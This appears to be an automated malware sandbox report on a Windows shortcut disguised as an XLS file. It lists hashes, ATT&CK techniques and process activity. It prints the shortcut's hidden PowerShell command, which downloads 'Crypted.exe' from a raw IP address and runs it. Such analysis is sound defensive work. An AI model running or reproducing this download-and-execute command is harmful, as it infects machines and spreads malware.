9b2a9d2d3db782a88b2db346864bb53ab0e08b02463555f9cd394327d1d41414

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
15-10-2024 07:11

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General

Target

AWB-002024563.XLS.lnk
Size

1KB
MD5

24b35581ca3b4d40271e57c85e296acb
SHA1

06772cefa2064960b2db126373dc65cb39aca466
SHA256

9b2a9d2d3db782a88b2db346864bb53ab0e08b02463555f9cd394327d1d41414
SHA512

4d828fe1d9bed99f9616f84cce7893ea69923f07dd75a3da8e1e5b2bb840ddaa642aa8187721d0a198c1700413df4c79387419c7376a8d704e7bfb644d18c1da

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2964	powershell.exe
2964	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2964	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2964	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2440 wrote to memory of 2964	2440	cmd.exe	31
PID 2440 wrote to memory of 2964	2440	cmd.exe	31
PID 2440 wrote to memory of 2964	2440	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\AWB-002024563.XLS.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Crypted.exe -OutFile $ENV:USERPROFILE\Downloads\setup_x86.exe; Start-Process $ENV:USERPROFILE\Downloads\setup_x86.exe }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2964-38-0x000007FEF5F8E000-0x000007FEF5F8F000-memory.dmp

Filesize
4KB

Download
memory/2964-39-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2964-40-0x0000000002330000-0x0000000002338000-memory.dmp

Filesize
32KB

Download
memory/2964-41-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2964-43-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2964-42-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2964-44-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2964-45-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download